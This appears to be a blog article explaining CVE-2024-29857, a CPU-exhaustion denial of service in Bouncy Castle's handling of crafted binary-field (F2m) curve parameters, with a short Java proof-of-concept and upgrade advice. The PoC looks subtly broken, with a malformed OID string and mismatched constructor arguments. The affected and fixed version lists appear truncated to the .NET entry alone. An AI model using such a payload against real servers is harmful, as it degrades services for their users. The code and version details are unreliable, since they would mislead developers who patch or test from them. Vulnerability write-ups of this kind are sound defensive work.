CVE-2024-29857 - Exploiting Excessive CPU Usage in Bouncy Castle ECCurve Certificate Parsing

CVE-2024-29857 is a recently disclosed vulnerability affecting a family of cryptographic libraries known as Bouncy Castle. This issue revolves around how the libraries handle certain Elliptic Curve (EC) certificates. More specifically, when a certificate uses specially crafted binary field (F2m) EC parameters, importing that certificate can cause the system to burn a ton of CPU, potentially leading to denial of service (DoS). This article breaks down the issue, shows you code snippets, links to original advisories, and gives you a clear view of the risk—including a look at proof-of-concept (PoC) exploitation.

Background: What is Bouncy Castle?

Bouncy Castle is a widely-used collection of cryptographic APIs for Java (BC Java), Java long-term support (BC Java LTS), FIPS Java API (BC-FJA), and .NET (BC C# .Net). Libraries like these power security features in thousands of applications, from payment processors to authentication servers.

BC C# .Net: Before 2.3.1

These versions mishandle the parsing of EC certificates with binary field curve parameters.

Technical Details

Elliptic Curves can be defined over different types of fields. While most modern EC usage is with "prime" fields (Fp curves), the Bouncy Castle libraries also support "binary" fields (F2m curves). The processing of these binary field certificates occurs in ECCurve.java (Java) and ECCurve.cs (.NET).

When the library processes a certificate containing a binary field (F2m) EC parameter, it tries to validate the curve. If an attacker crafts certain pathological curve parameters—such as extremely large or complex ones—the validation logic goes into a CPU-intensive loop. Since a certificate’s curve parameters come from an untrusted source, this serves as a path for denial-of-service attacks.

A Simple Exploit Scenario

Suppose you have a server that automatically accepts, parses, or validates incoming EC certificates (e.g., a client authentication gateway or TLS server using Bouncy Castle for crypto). If an attacker pushes a certificate with a carefully crafted F2m parameter, your server’s CPU will spike, serving fewer or no legitimate requests.

Proof-of-Concept (PoC) Snippet

Below, we demonstrate how you might trigger this issue in Java. Warning: Don’t run this in production!

import org.bouncycastle.jce.ECNamedCurveTable;
import org.bouncycastle.jce.spec.ECParameterSpec;
import org.bouncycastle.util.encoders.Hex;

public class ECCurveCpuExhaustionDemo {
    public static void main(String[] args) {
        // This is a "fake" OID for demonstration; a real attack uses malicious (F2m) params
        String fakeCurveOid = "1.3.132..33"; // Usually secp224r1, but attacker crafts their own

        try {
            // In a real exploit, malicious EC parameters would be loaded here.
            // For instance, using ECParameterSpec directly with huge m/k1/k2/k3
            ECParameterSpec ecSpec = new ECParameterSpec(
                // Field F2m with ridiculous parameters
                new org.bouncycastle.math.ec.ECCurve.F2m(
                    4096,    // m (field size, VERY LARGE)
                    1, 2, 3, // k1, k2, k3 (irreducible polynomial terms, attacker controls)
                    Hex.decode("01"),
                    Hex.decode("01")
                ),
                null, // G (generator, omitted for demo)
                null, // n (order, omitted for demo)
                null  // h (cofactor, omitted for demo)
            );
            System.out.println("Curve created! (Likely CPU-intensive...)");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

A real malicious certificate would contain a DER-encoded ECParams block with huge F2m field data. Upon import, Bouncy Castle engages in excessive calculations (isTrinomial, isPentanomial checks, etc.), locking up CPU cycles.

References and Official Advisories

- Bouncy Castle Security Advisory for CVE-2024-29857
- NVD entry for CVE-2024-29857
- Bouncy Castle Official Site

BC C# .Net 2.3.1

To protect yourself:
Upgrade immediately to at least the above versions.
If you can't upgrade, restrict the certificates your service accepts; block or validate curve parameters before handing off to Bouncy Castle.

Summary (Why This Matters)

CVE-2024-29857 showcases how low-level math over untrusted inputs can crush server performance—without crashing the app or tripping error handlers. Many security controls focus on crashes and exceptions, but a slow-but-steady CPU drain can be just as deadly. Developers and system owners must keep cryptographic libraries up to date, and always treat any certificate or public key from outside as potentially malicious.

Timeline

Published on: 05/14/2024 15:17:02 UTC
Last modified on: 08/15/2024 19:35:09 UTC